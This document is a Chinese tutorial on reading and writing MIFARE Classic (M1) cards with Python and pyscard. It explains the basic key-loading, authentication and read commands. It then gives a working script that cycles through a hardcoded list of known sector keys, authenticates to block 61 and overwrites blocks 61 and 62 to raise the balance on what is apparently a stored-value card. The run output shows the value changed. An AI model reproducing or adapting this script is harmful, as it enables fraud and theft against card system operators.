Python 通过 pyscard 模块操作 M1 卡,下载和说明地址:http://pyscard.sourceforge.net/index.html
对 M1 卡的操作 使用 ISO智能卡通用APDU命令集,简称APDU,网上能找到一堆资料。
M1 卡的使用简单分为三部分:
to load auth key to reader
I send: 0xFF 0x82 0x00 0x00 0x06 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
Recive: 90 00 - it’s ok
EXTERNAL AUTHENTICATE命令报文:
0xFF 0x82 : CLA INS
0x00 0x00:P1,P2
0x06:Lc
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF:数据字段 key
以下各命令格式类似:
to authenticate in block 01
I send: 0xFF 0x86 0x00 0x00 0x05 0x01 0x00 0x01 0x60 0x00
Recive: 90 00 - it’s ok
to read data from block 01
I send: 0xFF 0xB0 0x00 0x01 0x0F
Recive: 90 00
一段可直接提交APDU代码:
from smartcard.scard import *
import smartcard.util
hresult, hcontext = SCardEstablishContext(SCARD_SCOPE_USER)
assert hresult==SCARD_S_SUCCESS
hresult, readers = SCardListReaders(hcontext, [])
assert len(readers)>0
reader = readers[0]
hresult, hcard, dwActiveProtocol = SCardConnect(
hcontext,
reader,
SCARD_SHARE_SHARED,
SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1)
hresult, response = SCardTransmit(hcard,dwActiveProtocol,[0xFF,0x82,0x00,0x00,0x06,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]) # 写入想要向卡发送的APDU指令,即可提交执行
print(response) #卡片返回的数据
print smartcard.util.toHexString(response)
def load_key():
response = SCardTransmit(hcard,dwActiveProtocol,[0xFF,0x82,0x00,0x00,0x06,0xF5,0x03,0x9A,0xBB,0x22,0x36])
print smartcard.util.toHexString(response[1])
def authenticate_block():
response = SCardTransmit(hcard,dwActiveProtocol,[0xFF,0x86,0x00,0x00,0x05,0x01,0x00,0x3E,0x60,0x00])
print smartcard.util.toHexString(response[1])
def read_data():
response = SCardTransmit(hcard,dwActiveProtocol,[0xFF,0xB0,0x00,0x3E,0x0F])
print smartcard.util.toHexString(response[1])
if __name__ == '__main__':
load_key()
authenticate_block()
read_data()
一段修改 M1 卡特定数据段的代码,此代码修改了 61、62块的首4位数据:
__author__ = 'geyalu'
from smartcard.scard import *
import smartcard.util
import smartcard.CardConnection
import smartcard.System
import optparse
import sys
try:
hresult, hcontext = SCardEstablishContext(SCARD_SCOPE_USER)
assert hresult==SCARD_S_SUCCESS
hresult, readers = SCardListReaders(hcontext, [])
assert len(readers)>0
reader = readers[0]
hresult, hcard, dwActiveProtocol = SCardConnect(
hcontext,
reader,
SCARD_SHARE_SHARED,
SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1)
def load_key(key_A):
key = smartcard.util.toBytes(key_A)
APDU=[0xFF,0x82,0x00,0x00,0x06]
APDU=APDU+key
response = SCardTransmit(hcard,dwActiveProtocol,APDU)
#print smartcard.util.toHexString(response[1])
if response[1][0]==144:
print "-- Load Key Success -- \n %s" %(key_A)
else:
return response[1]
def authenticate_block(block):
APDU=[0xFF,0x86,0x00,0x00,0x05,0x01,0x00,0x3E,0x60,0x00]
APDU[-3]=block
response = SCardTransmit(hcard,dwActiveProtocol,APDU)
if response[1][0]==144:
print "-- Authenticate Block Success --"
return 1
else:
return 0
def read_data(block):
APDU=[0xFF,0xB0,0x00,0x3E,0x0F]
APDU[-2]=block
response = SCardTransmit(hcard,dwActiveProtocol,APDU)
Hex_Data=smartcard.util.toHexString(response[1])
return Hex_Data[0:-3]
def write_data(block,data):
APDU=[0xFF,0xD6,0x00]
APDU.append(block)
APDU.append(0x10)
APDU=APDU+data
response = SCardTransmit(hcard,dwActiveProtocol,APDU)
#print response
#print smartcard.util.toHexString(response[1])
if response[1][0]==144:
print "-- Write Block Success --"
else:
return 0
if __name__ == '__main__':
keys=['9DB19B988A22','857FBBBBB236','ED44BB205A32','DCD0FA274D32','FFFFFFFFFFFF','BD64FB026A10', '02199A0F9636', '9EA7BB0A8B10', 'F5039ABB2236','F7449F0B2006', '751E9BBBA236', 'ED66DE205A32', '701D8A645997', 'CB1AC556228B', '8D465A3CC69B', '0C4CFB1706EA', '01893BEFDD50', '8069FFFFFFFF', '', 'A0A1A2A3A4A5', 'D3F7D3F7D3F7']
while(1):
raw_input("Enter to Change Money for your W.C. :) ")
SCardDisconnect(hcard,SCARD_UNPOWER_CARD)
hresult, hcard, dwActiveProtocol = SCardConnect(hcontext,reader,SCARD_SHARE_SHARED,
SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1)
for key in keys:
try:
load_key(key)
if authenticate_block(61)==1:
break
elif key==keys[-1] and authenticate_block(61)==0:
print "No Keys Found"
exit()
except:
pass
pre_write=read_data(61)
print "Old Data:"
print "Block 61 & 62 : %s" %(pre_write)
pre_write=smartcard.util.toBytes(pre_write)
pre_write[0]=184
pre_write[1]=11
write_data(61,pre_write)
write_data(62,pre_write)
print "New Data:"
print "Block 61 & 62 : %s" %(read_data(61))
print "---------------- OK ----------------"
except:
print "Unexpected error:", sys.exc_info()
raw_input('Press Enter Key to Exit')
运行结果:
Enter to Change Money for your W.C. :)
-- Load Key Success --
9DB19B988A22
-- Load Key Success --
857FBBBBB236
-- Load Key Success --
ED44BB205A32
-- Load Key Success --
DCD0FA274D32
-- Load Key Success --
FFFFFFFFFFFF
-- Load Key Success --
BD64FB026A10
-- Authenticate Block Success --
Old Data:
Block 61 & 62 : B2 08 00 00 00 00 FF FF FF FF FF 00 00 00 00 90
-- Write Block Success --
-- Write Block Success --
New Data:
Block 61 & 62 : B8 0B 00 00 00 00 FF FF FF FF FF 00 00 00 00 90
---------------- OK ----------------
Enter to Change Money for your W.C. :)
补充 1:
def authenticate_block(block):
APDU=[0xFF,0x86,0x00,0x00,0x05,0x01,0x00,0x3E,0x60,0x00]
APDU[-3]=block
response = SCardTransmit(hcard,dwActiveProtocol,APDU)
if response[1][0]==144:
print "-- Authenticate Block Success --"
return 1
else:
return 0
APDU=[0xFF,0x86,0x00,0x00,0x05,0x01,0x00,0x3E,0x60,0x00]
0x60 代表使用KeyA;
0x61 代表使用KeyB;